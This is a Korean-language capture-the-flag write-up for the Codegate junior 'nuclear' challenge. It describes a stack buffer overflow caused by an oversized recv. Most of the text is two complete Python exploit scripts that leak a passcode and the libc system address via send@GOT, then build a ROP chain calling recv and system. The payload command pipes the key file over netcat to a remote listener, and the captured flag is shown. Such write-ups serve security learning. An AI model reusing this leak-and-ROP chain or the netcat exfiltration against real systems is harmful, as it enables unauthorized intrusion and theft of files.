codegate junior nuclear

shellstorm 에 바이너리 있음.

start_routine 부분에 recv를 1298 이나 해버려서 bof가 일어난다.

payload.py

from socket import *

from struct import *

p=lambda x:pack("<L",x)

up=lambda x:unpack("<L",x)[0]

recvplt=0x080488e0

sendgot=0x0804b07c # Send@GOT

sendplt=0x08048900 # Send@PLT

offset=0xe90      # system - send = offset

# system = offset + send

cmd="nc localhost 1234 < /home/user/pwnable/nuclear/key" 

ppppr=0x0804917c   # pop pop pop pop ret

ppr=ppppr+2  # pop pop ret

pr=ppr+1

custom_stack=0x0804b080 # .data section

vuln_func=0x08048A6F

def set_target():

s.send("target\n")

s.recv(1024)

s.send("0.1/0.1\n")

s.recv(1024)

def get_passcode():

s.send("A"*520 + "\n")

s.recv(1024)

passcode=s.recv(1024)

passcode=passcode[542:566]

return passcode

def start_countdown():

s.send("launch\n")

s.send(passcode+"\n")

s.recv(1024)

def getsystem_got():

payload=""

payload+="\x90"*528 # buffer 524 + sftp 4

# send(0x04,sendgot,0x04,0x00)

payload+=p(sendplt)

payload+=p(ppppr)

payload+=p(0x04)   # socket input discript

payload+=p(sendgot) # sendgot leak

payload+=p(0x04) # data byte length

payload+=p(0x00) # flags

payload+=p(vuln_func)

payload+=p(pr)

payload+=p(0x04)

s.send(payload+"\n")

s.recv(1024)

systemgot=up(s.recv(1024)[:4])+offset

return systemgot

def exploit():

payload=""

payload+="\x90"*528 # for dummy

# recv(0x04,costom_stack,0x123,0)

payload+=p(recvplt)

payload+=p(ppppr)

payload+=p(0x04) # socket

payload+=p(custom_stack)  # Place to write

payload+=p(0xff) # recv length

payload+=p(0x00) # nothing flag

payload+=p(systemgot) # excute system

payload+=p(0xdeadbeef)  # system's ret

payload+=p(custom_stack) # command addr

s.send(payload + "\n")

print s.recv(1024)

s.send(cmd + "\n")

print s.recv(1024)

s=socket(AF_INET,SOCK_STREAM,0)

s.connect(("localhost",1129))

set_target()

passcode=get_passcode()

print "Got passcode! : " + passcode

start_countdown()

systemgot=getsystem_got()

print "system@got : " + hex(systemgot)

s.close()

# exploit!!

s=socket(AF_INET,SOCK_STREAM,0)

s.connect(("localhost",1129))

set_target()

start_countdown()

exploit()

s.close()

페이로드가 쓸데없이 길다. 함수를 이용해 세분화 시키려고 했는데 그것때문에 더 길어진 것 같다.

원래 /bin/sh 를 실행하고 cat /key 명령어를 실행하려고 했으나, 소켓 연결 후 /bin/sh 명령어가 system 함수의 인자로 전달되지 않고 자꾸 소켓 연결 에러가 뜨길래 nc를 이용해 

reverse 형식으로 키값 전달을 실행했다.

=====> 원래, dynamic 섹션을 costom_stack 의 주소로 썼는데, 다른 섹션인 data 을 이용하니 잘되더라.

(결국 페이로드에 문제가 있던 것이었다.)

user@user-virtual-machine:~$ nc -l -p 1234

BUG_BOUNTIES_b3COM3_GrEAT

-----------------

로컬로 풀면 아무래도 실제 문제풀이 상황과 다를수도 있다고 생각하여,

문제서버를 하나 만들고 (Ubuntu 14.10)

풀이서버를 또하나 만들어서 (Ubuntu 14.10)

풀이를 해보았다.

from socket import *

from struct import *

p=lambda x:pack("<L",x)

up=lambda x:unpack("<L",x)[0]

custom_stack = 0x0804b080 # .data section

vuln_func = 0x08048B5B # start_routine function

sendplt = 0x08048900

sendgot = 0x0804b07c

recvplt = 0x080488e0

ppppr = 0x0804917c

send_system_offset=0xe90  # system-send=offset

# system = offset + send

pr=ppppr+3

cmd="nc 192.168.0.36 1234 < /home/user/pwnable/nuclear/key"

# char buf; // [sp+1Ch] [bp-20Ch]@1

vuln_func_dummy="\x90"*(0x20C+4)

# 0x238 - 0x30 == 0x208 == 520

# for erase null byte

passcode_leak_dummy="\x90"*520

def start_socket():

s=socket(AF_INET,SOCK_STREAM)

s.connect(("192.168.0.31",1129))

s.recv(1024) # :: Welcome to the Nuclear Control System ::

s.recv(1024) # >

return s

def stop_socket(s):

s.close()

def set_target(s):

s.send("target\n")

s.recv(1024) # [+] Enter coordinate of target, (Latitude/Longitude)

s.send("0.1/0.1\n")

s.recv(1024) # [+] Target coordinate setting completed.

s.recv(1024) # >

def leak_passcode(s):

payload=""

payload+=passcode_leak_dummy

s.send(payload+"\n")

passcode = s.recv(1024)[542:566]

print "passcode : " + passcode

s.recv(1024) # Unknown command ~~ + >

return passcode

def start_routine(passcode,s):

s.send("launch\n")

s.recv(1024)

s.send(str(passcode)+"\n")

s.recv(1024)

s.recv(1024) # <-- start countdown...

def leak_systemaddr(s):

s.recv(1024)

payload=""

payload+=vuln_func_dummy

# send(0x04,send@got,0x04,0)

payload+=p(sendplt)

payload+=p(ppppr)

payload+=p(0x04)

payload+=p(sendgot)

payload+=p(0x04)

payload+=p(0x00)

# vuln_func(0x04)

payload+=p(vuln_func)

payload+=p(0xdeadbeef)

payload+=p(0x04)

s.send(payload + "\n")

s.recv(1024)

sendaddr=up(s.recv(1024))

systemaddr=sendaddr+send_system_offset

print "system@libc : " + str(hex(systemaddr))

return systemaddr

def exploit(systemaddr,s):

payload=""

payload+=vuln_func_dummy

# recv(0x04,custom_stack,0xff,0x00)

payload+=p(recvplt)

payload+=p(ppppr)

payload+=p(0x04)

payload+=p(custom_stack)

payload+=p(0xff)

payload+=p(0x00)

# system(&cmd)

payload+=p(systemaddr)

payload+=p(0xdeadbeef)

payload+=p(custom_stack)

s.send(payload+"\n")

print s.recv(1024)

s.send(cmd+"\n")

print s.recv(1024)

sock=start_socket()

set_target(sock)

passcode = leak_passcode(sock)

start_routine(passcode,sock)

systemaddr=leak_systemaddr(sock)

exploit(systemaddr,sock)

stop_socket(sock)

결과 :

user@ubuntu:~/pwnable/nuclear$ nc -l -p 1234

BUG_BOUNTIES_b3COM3_GrEAT